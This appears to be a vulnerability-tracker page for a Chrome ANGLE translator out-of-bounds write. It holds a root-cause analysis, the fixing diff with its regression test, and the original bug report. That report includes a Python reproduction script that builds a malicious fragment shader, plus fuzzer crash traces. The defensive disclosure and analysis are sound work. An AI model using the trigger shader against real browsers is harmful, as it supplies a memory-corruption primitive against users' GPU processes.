High watch ✔︎ verified CVSS 8.8 chrome OOB 📄 Reporter bug report 🔧 Commit mapped

Overview

High
Severity
8.8
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactOut of bounds write in ANGLE
DescriptionOut of bounds write in ANGLE
ComponentANGLE
Sub-componentTranslator
Bug ClassOOB
Action tierwatch — corruption primitive but gated (uncommon) — not default-reachable — revised by independent review by AI
Computed by PatchGap's deterministic exploitability ruler from the fixing commit. patch-now = RCE-class & attacker-reachable in a default config, or exploited in the wild; watch = real security signal below that bar; noise = no security relevance.
Independent review by AIConfirmed (tier revised from patch-now)
Reviewer notes: Mechanism matches diff. 'Default' preconditions unsupported: the regression test is an ES3 (not WebGL) test skipped unless GL_EXT_shader_framebuffer_fetch is enabled; the diff does not show that extension or inout outputs exposed to web content.
A second, independent AI reviewer (not a human) re-derived this analysis from the fixing commit and the vendor advisory, looking for errors.
Tracker435139154
Fix commitfc0e039788e8 (angle/angle) +54/-19
CWECWE-787 (Out-of-bounds write)
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CISA KEVNot listed
CreditedGoogle Big Sleep
Reported2025-07-30 (per vendor advisory)
Fix landed2025-08-04 (public git)
Disclosed2025-08-12
Patch gap8 days — fix public in source before the advisory

Background

ANGLE translator
the shader compiler front-end that validates and rewrites GLSL/ESSL before handing it to a backend; Compiler::compileTreeImpl orchestrates its validation and rewrite passes.
`ValidateOutputs` / `ValidateOutputsTraverser`
a pass that walks fragment-shader output symbols and enforces that declared output location values stay within the MaxDrawBuffers limit.
`EvqFragmentOut` / `EvqFragmentInOut`
qualifiers marking a fragment output variable; EvqFragmentInOut denotes an inout output used by the shader framebuffer fetch extension (GL_EXT_shader_framebuffer_fetch).
`RewritePixelLocalStorage` (PLS)
a rewrite pass for ANGLE_shader_pixel_local_storage that can produce nodes without specified locations.

Root Cause Analysis

ValidateOutputsTraverser::visitSymbol enforced the per-location MaxDrawBuffers bound only for symbols qualified EvqFragmentOut, skipping inout outputs qualified EvqFragmentInOut. When shader framebuffer fetch is enabled, an inout vec4 declared at layout(location = MaxDrawBuffers) therefore bypassed location validation entirely, so a shader could reference/write an output slot beyond the MaxDrawBuffers limit — the source of the out-of-bounds write described in the commit.

The fix extends the qualifier check to qualifier == EvqFragmentOut || qualifier == EvqFragmentInOut, so inout outputs are subjected to the same location bounds check and an over-limit location now yields a compile error. Separately, RewritePixelLocalStorage was moved in Compiler::compileTreeImpl to run after ValidateOutputs, because PLS-produced inout nodes lack specified locations and would otherwise interfere with the newly extended validation. The shipped test CompileFSWithInoutLocBeyondMaxDrawBuffers confirms such a shader must now fail compilation.

Key insight
The single mistake was that the output-location bounds check covered only EvqFragmentOut and omitted the inout qualifier EvqFragmentInOut, so framebuffer-fetch inout variables could declare locations past MaxDrawBuffers; the fix adds EvqFragmentInOut to the same check (and reorders the PLS pass so validation sees real locations).

Attack Path

  1. Enable framebuffer fetch Attacker-controlled WebGL/GLES content compiles a fragment shader that requires GL_EXT_shader_framebuffer_fetch, unlocking inout fragment outputs.
  2. Declare an out-of-range inout output The shader declares an inout output at layout(location = MaxDrawBuffers) (or higher), e.g. inout vec4 inoutArray[1], a location past the legal draw-buffer range.
  3. Bypass validation Because pre-patch visitSymbol only checked EvqFragmentOut, the EvqFragmentInOut symbol is never location-checked, so compilation succeeds instead of erroring.
  4. Write beyond the limit The shader reads and writes inoutArray[0], causing a write into memory beyond the MaxDrawBuffers-bounded output storage — the out-of-bounds write the commit message describes; any resulting corruption primitive or escalation is (inferred).

Impact Assessment

A crafted fragment shader using framebuffer fetch could obtain an out-of-bounds write past the MaxDrawBuffers-sized output region in the GPU/ANGLE process by declaring an inout output at an over-limit location. The only precondition is the ability to compile such a shader with GL_EXT_shader_framebuffer_fetch available. The advisory classifies this as OOB / “Out of bounds write in ANGLE”; the issue was fuzzer-discovered per the test comment, no in-the-wild exploitation is stated, and any further memory-corruption escalation is (inferred).

Changed Functions

FunctionChangeNotes
WebGLGLSLTest
src/tests/gl_tests/GLSLTest.cpp
modified

Files Changed

  • src/compiler/translator/Compiler.cpp
  • src/compiler/translator/ValidateOutputs.cpp
  • src/tests/gl_tests/GLSLTest.cpp

Audit Directions

  • Qualifier enumerations with incomplete coverage
    Audit validators that switch on or compare against output/input qualifiers to ensure newer qualifiers like EvqFragmentInOut are included wherever EvqFragmentOut is checked.
  • Pass ordering vs. validation
    Review the translator pass pipeline for rewrite passes (e.g. RewritePixelLocalStorage) that run before validation and can introduce nodes lacking properties (locations) that later checks assume.
  • Extension-gated output slots
    Examine features that add new kinds of fragment outputs (framebuffer fetch, PLS, dual-source blending) for consistent enforcement of MaxDrawBuffers/location bounds.
From fc0e039788e8741ff8b4e8c58dbc1934c8148852 Mon Sep 17 00:00:00 2001
From: Amirali Abdolrashidi <abdolrashidi@google.com>
Date: Thu, 31 Jul 2025 13:15:45 -0700
Subject: [PATCH] Translator: Fix location validation for inout

  Without this validation, a shader using an inout variable can
write into a memory beyond the limit set by MaxDrawBuffers when
shader framebuffer fetch is enabled.

* Extended the location check in visitSymbol() to include InOut
  qualifiers (EvqFragmentInOut) as well (in ValidateOutputsTraverser).

* Moved RewritePixelLocalStorage() after ValidateOutputs() to avoid
  issues related to locations not being specified in the InOut nodes
  from the PLS implementation.

* Added a unit test to test that this case results in a compilation
  error: GLSLTest_ES3.CompileFSWithInoutLocBeyondMaxDrawBuffers

Bug: chromium:435139154
Change-Id: I44c729377a2e1d3126c2d279172217b2ab92b57b
Reviewed-on: https://chromium-review.googlesource.com/c/angle/angle/+/6806230
Reviewed-by: Shahbaz Youssefi <syoussefi@chromium.org>
Reviewed-by: Yuxin Hu <yuxinhu@google.com>
Commit-Queue: Shahbaz Youssefi <syoussefi@chromium.org>
---

diff --git a/src/compiler/translator/Compiler.cpp b/src/compiler/translator/Compiler.cpp
index 3b03341..8ec3f6d 100644
--- a/src/compiler/translator/Compiler.cpp
+++ b/src/compiler/translator/Compiler.cpp
@@ -920,24 +920,6 @@
         }
     }
 
-    // For now, rewrite pixel local storage before collecting variables or any operations on images.
-    //
-    // TODO(anglebug.com/40096838):
-    //   Should this actually run after collecting variables?
-    //   Do we need more introspection?
-    //   Do we want to hide rewritten shader image uniforms from glGetActiveUniform?
-    if (hasPixelLocalStorageUniforms())
-    {
-        ASSERT(
-            IsExtensionEnabled(mExtensionBehavior, TExtension::ANGLE_shader_pixel_local_storage));
-        if (!RewritePixelLocalStorage(this, root, getSymbolTable(), compileOptions,
-                                      getShaderVersion()))
-        {
-            mDiagnostics.globalError("internal compiler error translating pixel local storage");
-            return false;
-        }
-    }
-
     if (shouldRunLoopAndIndexingValidation(compileOptions) &&
         !ValidateLimitations(root, mShaderType, &mSymbolTable, &mDiagnostics))
     {
@@ -1079,6 +1061,24 @@
         return false;
     }
 
+    // For now, rewrite pixel local storage before collecting variables or any operations on images.
+    //
+    // TODO(anglebug.com/40096838):
+    //   Should this actually run after collecting variables?
+    //   Do we need more introspection?
+    //   Do we want to hide rewritten shader image uniforms from glGetActiveUniform?
+    if (hasPixelLocalStorageUniforms())
+    {
+        ASSERT(
+            IsExtensionEnabled(mExtensionBehavior, TExtension::ANGLE_shader_pixel_local_storage));
+        if (!RewritePixelLocalStorage(this, root, getSymbolTable(), compileOptions,
+                                      getShaderVersion()))
+        {
+            mDiagnostics.globalError("internal compiler error translating pixel local storage");
+            return false;
+        }
+    }
+
     // Clamping uniform array bounds needs to happen after validateLimitations pass.
     if (compileOptions.clampIndirectArrayBounds)
     {
diff --git a/src/compiler/translator/ValidateOutputs.cpp b/src/compiler/translator/ValidateOutputs.cpp
index 927783d..d3481f1 100644
--- a/src/compiler/translator/ValidateOutputs.cpp
+++ b/src/compiler/translator/ValidateOutputs.cpp
@@ -72,15 +72,19 @@
 void ValidateOutputsTraverser::visitSymbol(TIntermSymbol *symbol)
 {
     if (symbol->variable().symbolType() == SymbolType::Empty)
+    {
         return;
+    }
 
     if (mVisitedSymbols.count(symbol->uniqueId().get()) == 1)
+    {
         return;
+    }
 
     mVisitedSymbols.insert(symbol->uniqueId().get());
 
     TQualifier qualifier = symbol->getQualifier();
-    if (qualifier == EvqFragmentOut)
+    if (qualifier == EvqFragmentOut || qualifier == EvqFragmentInOut)
     {
         const TLayoutQualifier &layoutQualifier = symbol->getType().getLayoutQualifier();
         if (layoutQualifier.location != -1)
diff --git a/src/tests/gl_tests/GLSLTest.cpp b/src/tests/gl_tests/GLSLTest.cpp
index 0bf2197..1c4da1f 100644
--- a/src/tests/gl_tests/GLSLTest.cpp
+++ b/src/tests/gl_tests/GLSLTest.cpp
@@ -4475,6 +4475,37 @@
     EXPECT_PIXEL_COLOR_EQ(0, 0, GLColor::green);
 }
 
+// Test that an inout value in a location beyond the MaxDrawBuffer limit when using the shader
+// framebuffer fetch extension results in a compilation error.
+// (Based on a fuzzer-discovered issue)
+TEST_P(GLSLTest_ES3, CompileFSWithInoutLocBeyondMaxDrawBuffers)
+{
+    ANGLE_SKIP_TEST_IF(!IsGLExtensionEnabled("GL_EXT_shader_framebuffer_fetch"));
+
+    GLint maxDrawBuffers;
+    glGetIntegerv(GL_MAX_DRAW_BUFFERS, &maxDrawBuffers);
+
+    const std::string fs = R"(#version 300 es
+#extension GL_EXT_shader_framebuffer_fetch : require
+precision highp float;
+layout(location = )" + std::to_string(maxDrawBuffers) +
+                           R"() inout vec4 inoutArray[1];
+void main()
+{
+    vec4 val = inoutArray[0];
+    inoutArray[0] = val + vec4(0.1, 0.2, 0.3, 0.4);
+})";
+
+    GLuint shader              = glCreateShader(GL_FRAGMENT_SHADER);
+    const char *sourceArray[1] = {fs.c_str()};
+    glShaderSource(shader, 1, sourceArray, nullptr);
+    glCompileShader(shader);
+
+    GLint compileResult;
+    glGetShaderiv(shader, GL_COMPILE_STATUS, &compileResult);
+    EXPECT_EQ(compileResult, 0);
+}
+
 class WebGLGLSLTest : public GLSLTest
 {
   protected:
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/src/tests/gl_tests/GLSLTest.cpp b/src/tests/gl_tests/GLSLTest.cpp
index 0bf2197..1c4da1f 100644
--- a/src/tests/gl_tests/GLSLTest.cpp
+++ b/src/tests/gl_tests/GLSLTest.cpp
@@ -4475,6 +4475,37 @@
     EXPECT_PIXEL_COLOR_EQ(0, 0, GLColor::green);
 }
 
+// Test that an inout value in a location beyond the MaxDrawBuffer limit when using the shader
+// framebuffer fetch extension results in a compilation error.
+// (Based on a fuzzer-discovered issue)
+TEST_P(GLSLTest_ES3, CompileFSWithInoutLocBeyondMaxDrawBuffers)
+{
+    ANGLE_SKIP_TEST_IF(!IsGLExtensionEnabled("GL_EXT_shader_framebuffer_fetch"));
+
+    GLint maxDrawBuffers;
+    glGetIntegerv(GL_MAX_DRAW_BUFFERS, &maxDrawBuffers);
+
+    const std::string fs = R"(#version 300 es
+#extension GL_EXT_shader_framebuffer_fetch : require
+precision highp float;
+layout(location = )" + std::to_string(maxDrawBuffers) +
+                           R"() inout vec4 inoutArray[1];
+void main()
+{
+    vec4 val = inoutArray[0];
+    inoutArray[0] = val + vec4(0.1, 0.2, 0.3, 0.4);
+})";
+
+    GLuint shader              = glCreateShader(GL_FRAGMENT_SHADER);
+    const char *sourceArray[1] = {fs.c_str()};
+    glShaderSource(shader, 1, sourceArray, nullptr);
+    glCompileShader(shader);
+
+    GLint compileResult;
+    glGetShaderiv(shader, GL_COMPILE_STATUS, &compileResult);
+    EXPECT_EQ(compileResult, 0);
+}
+
 class WebGLGLSLTest : public GLSLTest
 {
   protected:
Loading diff…

Original Bug Report

reported by bi...@google.com

ANGLE: Out-of-bounds write in EmulateFramebufferFetch

We are tracking this issue with the public ID BIGSLEEP-435156765. Please use this identifier for reference in any future communication.

Vulnerability Details

The vulnerability is an out-of-bounds write to an std::vector, which can be triggered by a specially crafted shader. The issue occurs in the setInputAttachmentIndex function within EmulateFramebufferFetch.cpp when processing framebuffer fetch extensions.

The root cause is the use of an unvalidated location layout qualifier from a fragment shader as an index into a vector. Here is a step-by-step explanation of the flaw:

  1. The InputAttachmentUsageTraverser class initializes a vector, mAttachmentTypes.color, with a size determined by mMaxDrawBuffers. In the context of the fuzzer harness, mMaxDrawBuffers is hardcoded to 1. In production, this value depends on the graphics driver’s capabilities.
class InputAttachmentUsageTraverser : public TIntermTraverser
{
...
    {
        mAttachmentTypes.color.resize(maxDrawBuffers, nullptr);
    }
...
    uint32_t mMaxDrawBuffers;
...
  1. When processing a shader, the visitDeclaration function extracts the location layout qualifier from an inout variable declaration. This value is taken directly from the untrusted shader source without prior validation.
bool InputAttachmentUsageTraverser::visitDeclaration(Visit visit, TIntermDeclaration *node)
{
...
        const TType &type = symbol->getType();
        const unsigned int baseInputAttachmentIndex =
            std::max(0, type.getLayoutQualifier().location);

        uint32_t arraySize = type.isArray() ? type.getOutermostArraySize() : 1;
        for (unsigned int index = 0; index < arraySize; index++)
        {
            setInputAttachmentIndex(baseInputAttachmentIndex + index, &type);
        }
...
}
  1. This untrusted location value is used as the base index in a subsequent call to setInputAttachmentIndex, which then writes to the mAttachmentTypes.color vector at the provided index.
void InputAttachmentUsageTraverser::setInputAttachmentIndex(uint32_t index, const TType *type)
{
    ASSERT(index < mMaxDrawBuffers);
    mIndexUsage.set(index);
    mAttachmentTypes.color[index] = type;
}
  1. Because the location is not validated against mMaxDrawBuffers, a shader with a large location value (e.g., layout(location = 38)) will cause a write beyond the bounds of the mAttachmentTypes.color vector, leading to memory corruption.

This vulnerability can only be triggered when all of the following conditions are met:

  • The shader type is GL_FRAGMENT_SHADER.
  • The GL_EXT_shader_framebuffer_fetch extension is enabled via #extension GL_EXT_shader_framebuffer_fetch : require.
  • The fragment shader declares an inout variable that is an array and has a layout(location = ...) qualifier.

Given that an attacker can control the offset of the out-of-bounds write, this vulnerability is considered High severity. This issue is mitigated by libc++ hardening within Chromium builds, but it does not appear that this protection is guaranteed across all supported ANGLE configurations.

Affected Version(s)

This issue has been reproduced in Chromium:

  • at HEAD
    • Chromium commit: 0333b43929bc32d574137e9c9e2f8803368664c9
    • ANGLE commit: 51baa83f2cbbd1bff5754c7a3f6940d75e73b539)
  • in Chromium version 138.0.7204.169
    • Chromium commit: f67687ed433da666b8d134ca10de067bcc94c6fe:
    • ANGLE commit: f67687ed433da666b8d134ca10de067bcc94c6fe)

Reproduction Case

Build Instructions

cd ~/chromium/src
gn gen out/angle
cat << EOF > out/angle/args.gn
is_debug = true
use_libfuzzer = true
EOF
autoninja -C out/angle angle_translator_fuzzer

Command

python3 repro.py
out/angle/angle_translator_fuzzer repro.bin

Test Case

The following Python script generates an input file that triggers the out of bounds write in InputAttachmentUsageTraverser::setInputAttachmentIndex.

import struct

GL_FRAGMENT_SHADER = 0x8B30
SH_WEBGL2_SPEC = 3
SH_SPIRV_VULKAN_OUTPUT = 15

header_type = struct.pack('<I', GL_FRAGMENT_SHADER)
header_spec = struct.pack('<I', SH_WEBGL2_SPEC)
header_output = struct.pack('<I', SH_SPIRV_VULKAN_OUTPUT)

# Set options - keep basic[0]=1 for objectCode
basic_options = bytearray(32)
basic_options[0] |= (1 << 0)
metal_options = b'\0' * 32
pls_options  = b'\0' * 32
padding = b'\0' * 20

header = header_type + header_spec + header_output + bytes(basic_options) + metal_options + pls_options + padding
assert len(header) == 128

shader_code = """\
  #version 300 es
  #extension GL_EXT_shader_framebuffer_fetch : require
  precision highp float;
  layout(location = 38) inout vec4 myInoutArray[1];
  void main() {
    vec4 val1 = myInoutArray[0];
}\0""".encode()

program_input = header + shader_code

with open('repro.bin', 'wb') as f:
  f.write(program_input)

ASan Report

In release mode (without debug asserts):

INFO: Running with entropic power schedule (0xFF, 100).
INFO: Seed: 3233764993
INFO: Loaded 1 modules   (65988 inline 8-bit counters): 65988 [0x5621269c75a0, 0x5621269d7764),
INFO: Loaded 1 PC tables (65988 PCs): 65988 [0x5621269d7768,0x562126ad93a8),
normal/angle_translator_fuzzer: Running 1 inputs 1 time(s) each.
Running: crashes/new_crash.bin
../../third_party/libc++/src/include/__vector/vector.h:401: assertion __n < size() failed: vector[] index out of bounds
==3567765== ERROR: libFuzzer: deadly signal
    #0 0x5621261fed91 in __sanitizer_print_stack_trace /b/s/w/ir/cache/builder/src/third_party/llvm/compiler-rt/lib/asan/asan_stack.cpp:87:3
    #1 0x5621262aca3b in fuzzer::PrintStackTrace() third_party/libFuzzer/src/FuzzerUtil.cpp:210:5
    #2 0x56212626e04e in fuzzer::Fuzzer::CrashCallback() third_party/libFuzzer/src/FuzzerLoop.cpp:231:3
    #3 0x7f0d621f0def  (/lib/x86_64-linux-gnu/libc.so.6+0x3fdef) (BuildId: 11589948642c5b33fb0b2bcb08053e827d2348f3)
    #4 0x5621266fadf3 in std::__Cr::vector<sh::TType const*, pool_allocator<sh::TType const*>>::operator[](unsigned long) third_party/libc++/src/include/__vector/vector.h:401:5
    #5 0x5621266fadf3 in sh::(anonymous namespace)::InputAttachmentUsageTraverser::setInputAttachmentIndex(unsigned int, sh::TType const*) third_party/angle/src/compiler/translator/tree_ops/spirv/EmulateFramebufferFetch.cpp:79:5
    #6 0x5621266fadf3 in sh::(anonymous namespace)::InputAttachmentUsageTraverser::visitDeclaration(sh::Visit, sh::TIntermDeclaration*) third_party/angle/src/compiler/translator/tree_ops/spirv/EmulateFramebufferFetch.cpp:107:13
    #7 0x56212656ebed in void sh::TIntermTraverser::traverse<sh::TIntermNode>(sh::TIntermNode*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:33:23
    #8 0x562126573b71 in sh::TIntermTraverser::traverseBlock(sh::TIntermBlock*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:477:24
    #9 0x5621266f6300 in sh::EmulateFramebufferFetch(sh::TCompiler*, sh::TIntermBlock*, sh::InputAttachmentMap*) third_party/angle/src/compiler/translator/tree_ops/spirv/EmulateFramebufferFetch.cpp:634:11
    #10 0x56212664c7c0 in sh::TranslatorSPIRV::translateImpl(sh::TIntermBlock*, ShCompileOptions const&, sh::PerformanceDiagnostics*, sh::SpecConst*, sh::DriverUniform*) third_party/angle/src/compiler/translator/spirv/TranslatorSPIRV.cpp:1098:22
    #11 0x5621266530d4 in sh::TranslatorSPIRV::translate(sh::TIntermBlock*, ShCompileOptions const&, sh::PerformanceDiagnostics*) third_party/angle/src/compiler/translator/spirv/TranslatorSPIRV.cpp:1277:10
    #12 0x5621263b5208 in sh::TCompiler::compile(char const* const*, unsigned long, ShCompileOptions const&) third_party/angle/src/compiler/translator/Compiler.cpp:1404:18
    #13 0x56212622f576 in LLVMFuzzerTestOneInput third_party/angle/src/compiler/fuzz/translator_fuzzer.cpp:278:17
    #14 0x5621262712ac in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) third_party/libFuzzer/src/FuzzerLoop.cpp:619:13
    #15 0x562126242899 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) third_party/libFuzzer/src/FuzzerDriver.cpp:328:6
    #16 0x56212624b0e0 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) third_party/libFuzzer/src/FuzzerDriver.cpp:863:9
    #17 0x562126231775 in main third_party/libFuzzer/src/FuzzerMain.cpp:20:10
    #18 0x7f0d621daca7 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16

NOTE: libFuzzer has rudimentary signal handlers.
      Combine libFuzzer with AddressSanitizer or similar for better crash reports.
SUMMARY: libFuzzer: deadly signal

In debug mode (with debug asserts):

INFO: Running with entropic power schedule (0xFF, 100).
INFO: Seed: 3233529304
INFO: Loaded 1 modules   (146905 inline 8-bit counters): 146905 [0x55bcd4daaac0, 0x55bcd4dce899),
INFO: Loaded 1 PC tables (146905 PCs): 146905 [0x55bcd4dce8a0,0x55bcd500c630),
debug/angle_translator_fuzzer: Running 1 inputs 1 time(s) each.
Running: crashes/new_crash.bin
FATAL: EmulateFramebufferFetch.cpp:77 (setInputAttachmentIndex):        ! Assert failed in setInputAttachmentIndex (../../third_party/angle/src/compiler/translator/tree_ops/spirv/EmulateFramebufferFetch.cpp:77): index < mMaxDrawBuffers
==3567762== ERROR: libFuzzer: deadly signal
    #0 0x55bcd3706651 in __sanitizer_print_stack_trace /b/s/w/ir/cache/builder/src/third_party/llvm/compiler-rt/lib/asan/asan_stack.cpp:87:3
    #1 0x55bcd383eede in fuzzer::PrintStackTrace() third_party/libFuzzer/src/FuzzerUtil.cpp:210:5
    #2 0x55bcd37cfba9 in fuzzer::Fuzzer::CrashCallback() third_party/libFuzzer/src/FuzzerLoop.cpp:231:3
    #3 0x55bcd37cfabf in fuzzer::Fuzzer::StaticCrashSignalCallback() third_party/libFuzzer/src/FuzzerLoop.cpp:202:6
    #4 0x55bcd3840fd7 in fuzzer::CrashHandler(int, siginfo_t*, void*) third_party/libFuzzer/src/FuzzerUtilPosix.cpp:46:3
    #5 0x7fe6292b1def  (/lib/x86_64-linux-gnu/libc.so.6+0x3fdef) (BuildId: 11589948642c5b33fb0b2bcb08053e827d2348f3)
    #6 0x55bcd43b0d32 in sh::(anonymous namespace)::InputAttachmentUsageTraverser::setInputAttachmentIndex(unsigned int, sh::TType const*) third_party/angle/src/compiler/translator/tree_ops/spirv/EmulateFramebufferFetch.cpp:77:5
    #7 0x55bcd43ad634 in sh::(anonymous namespace)::InputAttachmentUsageTraverser::visitDeclaration(sh::Visit, sh::TIntermDeclaration*) third_party/angle/src/compiler/translator/tree_ops/spirv/EmulateFramebufferFetch.cpp:107:13
    #8 0x55bcd4036ba0 in sh::TIntermDeclaration::visit(sh::Visit, sh::TIntermTraverser*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:170:16
    #9 0x55bcd40350ef in void sh::TIntermTraverser::traverse<sh::TIntermNode>(sh::TIntermNode*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:33:23
    #10 0x55bcd4035760 in sh::TIntermNode::traverse(sh::TIntermTraverser*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:64:9
    #11 0x55bcd403d763 in sh::TIntermTraverser::traverseBlock(sh::TIntermBlock*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:477:24
    #12 0x55bcd403609e in sh::TIntermBlock::traverse(sh::TIntermTraverser*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:102:9
    #13 0x55bcd43a7d52 in sh::EmulateFramebufferFetch(sh::TCompiler*, sh::TIntermBlock*, sh::InputAttachmentMap*) third_party/angle/src/compiler/translator/tree_ops/spirv/EmulateFramebufferFetch.cpp:634:11
    #14 0x55bcd41f1774 in sh::TranslatorSPIRV::translateImpl(sh::TIntermBlock*, ShCompileOptions const&, sh::PerformanceDiagnostics*, sh::SpecConst*, sh::DriverUniform*) third_party/angle/src/compiler/translator/spirv/TranslatorSPIRV.cpp:1098:22
    #15 0x55bcd41f9e84 in sh::TranslatorSPIRV::translate(sh::TIntermBlock*, ShCompileOptions const&, sh::PerformanceDiagnostics*) third_party/angle/src/compiler/translator/spirv/TranslatorSPIRV.cpp:1277:10
    #16 0x55bcd3c1ee2a in sh::TCompiler::compile(char const* const*, unsigned long, ShCompileOptions const&) third_party/angle/src/compiler/translator/Compiler.cpp:1404:18
    #17 0x55bcd3740ac4 in LLVMFuzzerTestOneInput third_party/angle/src/compiler/fuzz/translator_fuzzer.cpp:278:17
    #18 0x55bcd37d27da in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) third_party/libFuzzer/src/FuzzerLoop.cpp:619:13
    #19 0x55bcd3780c9b in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) third_party/libFuzzer/src/FuzzerDriver.cpp:328:6
    #20 0x55bcd378625a in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) third_party/libFuzzer/src/FuzzerDriver.cpp:863:9
    #21 0x55bcd37549e3 in main third_party/libFuzzer/src/FuzzerMain.cpp:20:10
    #22 0x7fe62929bca7 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16

NOTE: libFuzzer has rudimentary signal handlers.
      Combine libFuzzer with AddressSanitizer or similar for better crash reports.
SUMMARY: libFuzzer: deadly signal

Reporter Credit

Google Big Sleep

Disclosure Policy

This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2025-10-28.

For more information, visit https://goo.gle/bigsleep

View on issue tracker